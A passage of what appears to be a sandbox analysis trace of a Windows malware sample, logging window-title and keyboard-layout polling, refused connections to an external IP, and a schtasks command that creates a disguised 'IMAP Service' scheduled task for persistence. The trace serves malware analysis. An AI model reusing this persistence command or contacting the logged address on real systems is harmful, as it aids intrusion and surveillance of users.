[0222.748] GetForegroundWindow () returned 0x101a2 [0222.748] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0222.748] EnumProcesses (in: lpidProcess=0x24459e0, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24459e0, lpcbNeeded=0x562f77c) returned 1 [0222.748] GetLastError () returned 0x3e5 [0222.749] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34e2ff0, ResultLength=0x562f740*=0x8b68) returned 0x0 [0222.753] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0222.753] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0222.810] GetForegroundWindow () returned 0x101a2 [0222.810] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0222.877] GetForegroundWindow () returned 0x101a2 [0222.877] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0222.935] GetForegroundWindow () returned 0x101a2 [0222.935] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.960] inet_addr (cp="154.16.63.185") returned 0xb93f109a [0226.960] GetLastError () returned 0x3e5 [0226.960] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2d8 [0226.960] GetLastError () returned 0x0 [0226.960] setsockopt (s=0x2d8, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0226.960] GetLastError () returned 0x0 [0226.961] bind (s=0x2d8, addr=0x2469380*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0226.961] GetLastError () returned 0x0 [0227.006] GetForegroundWindow () returned 0x100f6 [0227.006] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0227.006] EnumProcesses (in: lpidProcess=0x2469460, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2469460, lpcbNeeded=0x562f77c) returned 1 [0227.007] GetLastError () returned 0x3e5 [0227.007] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3523030, ResultLength=0x562f740*=0x8ba8) returned 0x0 [0227.010] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0227.010] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0227.069] GetForegroundWindow () returned 0x101a2 [0227.069] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0227.069] EnumProcesses (in: lpidProcess=0x247a918, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x247a918, lpcbNeeded=0x562f77c) returned 1 [0227.069] GetLastError () returned 0x3e5 [0227.070] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3543050, ResultLength=0x562f740*=0x8be8) returned 0x0 [0227.073] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0227.073] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0227.131] GetForegroundWindow () returned 0x101a2 [0227.131] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0227.193] GetForegroundWindow () returned 0x101a2 [0227.194] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0227.256] GetForegroundWindow () returned 0x101a2 [0227.256] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0227.319] GetForegroundWindow () returned 0x100f6 [0227.319] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0227.319] EnumProcesses (in: lpidProcess=0x248c754, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x248c754, lpcbNeeded=0x562f77c) returned 1 [0227.319] GetLastError () returned 0x3e5 [0227.319] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3563070, ResultLength=0x562f740*=0x8be8) returned 0x0 [0227.323] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0227.323] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0227.381] GetForegroundWindow () returned 0x101a2 [0227.381] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0227.381] EnumProcesses (in: lpidProcess=0x249dd88, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x249dd88, lpcbNeeded=0x562f77c) returned 1 [0227.381] GetLastError () returned 0x3e5 [0227.381] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583090, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3583090, ResultLength=0x562f740*=0x8be8) returned 0x0 [0227.385] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0227.385] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0227.443] GetForegroundWindow () returned 0x101a2 [0227.443] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0227.505] GetForegroundWindow () returned 0x101a2 [0227.505] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0227.568] GetForegroundWindow () returned 0x101a2 [0227.568] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0227.630] GetForegroundWindow () returned 0x100f6 [0227.630] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0227.630] EnumProcesses (in: lpidProcess=0x24afc18, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24afc18, lpcbNeeded=0x562f77c) returned 1 [0227.631] GetLastError () returned 0x3e5 [0227.631] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35a30b0, ResultLength=0x562f740*=0x8be8) returned 0x0 [0227.635] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0227.635] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0227.693] GetForegroundWindow () returned 0x101a2 [0227.693] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0227.693] EnumProcesses (in: lpidProcess=0x24c124c, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24c124c, lpcbNeeded=0x562f77c) returned 1 [0227.694] GetLastError () returned 0x3e5 [0227.694] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35c30d0, ResultLength=0x562f740*=0x8be8) returned 0x0 [0227.697] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0227.697] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0227.817] GetForegroundWindow () returned 0x101a2 [0227.818] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0227.880] GetForegroundWindow () returned 0x101a2 [0227.880] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0227.942] GetForegroundWindow () returned 0x101a2 [0227.942] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0228.005] GetForegroundWindow () returned 0x100f6 [0228.005] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0228.005] EnumProcesses (in: lpidProcess=0x24d3088, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24d3088, lpcbNeeded=0x562f77c) returned 1 [0228.005] GetLastError () returned 0x3e5 [0228.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35e30f0, ResultLength=0x562f740*=0x8be8) returned 0x0 [0228.008] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0228.008] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0228.067] GetForegroundWindow () returned 0x101a2 [0228.067] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0228.067] EnumProcesses (in: lpidProcess=0x24e46bc, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24e46bc, lpcbNeeded=0x562f77c) returned 1 [0228.067] GetLastError () returned 0x3e5 [0228.068] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3603110, ResultLength=0x562f740*=0x8be8) returned 0x0 [0228.070] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0228.071] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0228.129] GetForegroundWindow () returned 0x101a2 [0228.129] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0228.192] GetForegroundWindow () returned 0x101a2 [0228.192] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0228.254] GetForegroundWindow () returned 0x101a2 [0228.254] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0228.317] GetForegroundWindow () returned 0x100f6 [0228.317] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568 [0228.317] EnumProcesses (in: lpidProcess=0x24f64f8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24f64f8, lpcbNeeded=0x562f77c) returned 1 [0228.317] GetLastError () returned 0x3e5 [0228.317] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3623130, ResultLength=0x562f740*=0x8be8) returned 0x0 [0228.320] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0228.320] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10 [0228.384] GetForegroundWindow () returned 0x101a2 [0228.385] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760 [0228.385] EnumProcesses (in: lpidProcess=0x2507b2c, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2507b2c, lpcbNeeded=0x562f77c) returned 1 [0228.385] GetLastError () returned 0x3e5 [0228.393] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x32f3248, ResultLength=0x562f740*=0x8be8) returned 0x0 [0228.396] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0228.396] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0228.457] GetForegroundWindow () returned 0x101a2 [0228.457] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 Thread: id = 35 os_tid = 0xbc0 [0195.339] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0210.464] CoUninitialize () [0210.464] CoGetContextToken (in: pToken=0x572fad4 | out: pToken=0x572fad4) returned 0x0 [0210.464] CObjectContext::QueryInterface () returned 0x0 [0210.464] CObjectContext::GetCurrentThreadType () returned 0x0 [0210.464] Release () returned 0x0 [0210.464] CoGetContextToken (in: pToken=0x572fa68 | out: pToken=0x572fa68) returned 0x0 [0210.464] CObjectContext::QueryInterface () returned 0x0 [0210.464] CObjectContext::GetCurrentThreadType () returned 0x0 [0210.464] Release () returned 0x0 Thread: id = 36 os_tid = 0xbcc [0211.690] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0217.282] WSAGetOverlappedResult (in: s=0x2ec, lpOverlapped=0x2468768, lpcbTransfer=0x572f79c, fWait=0, lpdwFlags=0x572f76c | out: lpcbTransfer=0x572f79c, lpdwFlags=0x572f76c) returned 0 [0217.282] GetLastError () returned 0x274d [0217.282] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x698e70, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d [0217.282] GetLastError () returned 0x274d [0217.283] closesocket (s=0x2ec) returned 0 [0217.283] GetLastError () returned 0x0 [0222.951] WSAGetOverlappedResult (in: s=0x33c, lpOverlapped=0x2396328, lpcbTransfer=0x572f79c, fWait=0, lpdwFlags=0x572f76c | out: lpcbTransfer=0x572f79c, lpdwFlags=0x572f76c) returned 0 [0222.951] GetLastError () returned 0x274d [0222.951] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x698e70, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d [0222.951] GetLastError () returned 0x274d [0222.951] closesocket (s=0x33c) returned 0 [0222.952] GetLastError () returned 0x0 [0228.491] WSAGetOverlappedResult (in: s=0x2d8, lpOverlapped=0x2468bf4, lpcbTransfer=0x572f79c, fWait=0, lpdwFlags=0x572f76c | out: lpcbTransfer=0x572f79c, lpdwFlags=0x572f76c) returned 0 [0228.491] GetLastError () returned 0x274d [0228.491] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x698e70, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d [0228.491] GetLastError () returned 0x274d [0228.491] closesocket (s=0x2d8) returned 0 [0228.491] GetLastError () returned 0x0 Thread: id = 37 os_tid = 0xbd0 Thread: id = 38 os_tid = 0xbd4 Thread: id = 39 os_tid = 0xbe4 [0228.493] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Process: id = "4" image_name = "schtasks.exe" filename = "c:\\windows\\syswow64\\schtasks.exe" page_root = "0x1e9aa000" os_pid = "0xb60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xaf8" cmd_line = "\"schtasks.exe\" /create /f /tn \"IMAP Service\" /xml \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000104d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 528 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 529 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 530 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 531 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 532 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 533 start_va = 0x110000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 534 start_va = 0x190000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 535 start_va = 0xc20000 end_va = 0xc4dfff entry_point = 0xc20000 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe") Region: id = 536 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 537 start_va = 0x77e30000 end_va = 0x77faffff entry_point = 0x77e30000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 538 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 539 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 540 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 541 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 542 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 543 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 544 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 545 start_va = 0x310000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 546 start_va = 0x75360000 end_va = 0x75367fff entry_point = 0x75360000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 547 start_va = 0x75370000 end_va = 0x753cbfff entry_point = 0x75370000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 548 start_va = 0x753d0000 end_va = 0x7540efff entry_point = 0x753d0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 549 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 550 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 551 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 552 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 553 start_va = 0x4d0000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 554 start_va = 0x75440000 end_va = 0x75448fff entry_point = 0x75440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\SysWOW64\\ktmw32.dll" (normalized: "c:\\windows\\syswow64\\ktmw32.dll") Region: id = 555 start_va = 0x75980000 end_va = 0x7598bfff entry_point = 0x75980000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 556 start_va = 0x75990000 end_va = 0x759effff entry_point = 0x75990000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 557 start_va = 0x75a30000 end_va = 0x75a48fff entry_point = 0x75a30000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 558 start_va = 0x75bb0000 end_va = 0x75bf5fff entry_point = 0x75bb0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 559 start_va = 0x75fd0000 end_va = 0x760dffff entry_point = 0x75fd0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 560 start_va = 0x760e0000 end_va = 0x7617ffff entry_point = 0x760e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 561 start_va = 0x76180000 end_va = 0x761d6fff entry_point = 0x76180000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 562 start_va = 0x763c0000 end_va = 0x763c9fff entry_point = 0x763c0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 563 start_va = 0x763e0000 end_va = 0x764dffff entry_point = 0x763e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 564 start_va = 0x764e0000 end_va = 0x7656efff entry_point = 0x764e0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 565 start_va = 0x76670000 end_va = 0x7671bfff entry_point = 0x76670000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 566 start_va = 0x775d0000 end_va = 0x776bffff entry_point = 0x775d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 567 start_va = 0x776c0000 end_va = 0x7781bfff entry_point = 0x776c0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 568 start_va = 0x77820000 end_va = 0x778affff entry_point = 0x77820000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 569 start_va = 0x77990000 end_va = 0x77a2cfff entry_point = 0x77990000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 570 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x0 region_type = private name = "private_0x0000000077a30000" filename = "" Region: id = 571 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x0 region_type = private name = "private_0x0000000077b50000" filename = "" Region: id = 572 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 573 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 574 start_va = 0x5d0000 end_va = 0x757fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 575 start_va = 0x76720000 end_va = 0x767ebfff entry_point = 0x76720000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 576 start_va = 0x77570000 end_va = 0x775cffff entry_point = 0x77570000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 577 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 578 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 579 start_va = 0xf0000 end_va = 0x101fff entry_point = 0xf0000 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\schtasks.exe.mui") Region: id = 580 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 581 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 582 start_va = 0x760000 end_va = 0x8e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 583 start_va = 0xc50000 end_va = 0x204ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c50000" filename = "" Region: id = 584 start_va = 0x757a0000 end_va = 0x757a8fff entry_point = 0x757a0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 585 start_va = 0x8f0000 end_va = 0xbbefff entry_point = 0x8f0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 586 start_va = 0x752d0000 end_va = 0x7534ffff entry_point = 0x752d0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 587 start_va = 0x2050000 end_va = 0x220ffff entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 588 start_va = 0x1d0000 end_va = 0x2aefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 589 start_va = 0x3a0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 590 start_va = 0x20f0000 end_va = 0x212ffff entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 591 start_va = 0x21d0000 end_va = 0x220ffff entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 592 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 593 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 594 start_va = 0x76890000 end_va = 0x76912fff entry_point = 0x76890000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 595 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 596 start_va = 0x748b0000 end_va = 0x7492cfff entry_point = 0x748b0000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\SysWOW64\\taskschd.dll" (normalized: "c:\\windows\\syswow64\\taskschd.dll") Thread: id = 18 os_tid = 0xb64 [0175.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fde4 | out: lpSystemTimeAsFileTime=0x14fde4*(dwLowDateTime=0x700e89d0, dwHighDateTime=0x1d3f29b)) [0175.851] GetCurrentProcessId () returned 0xb60 [0175.851] GetCurrentThreadId () returned 0xb64 [0175.851] GetTickCount () returned 0x3077e [0175.851] 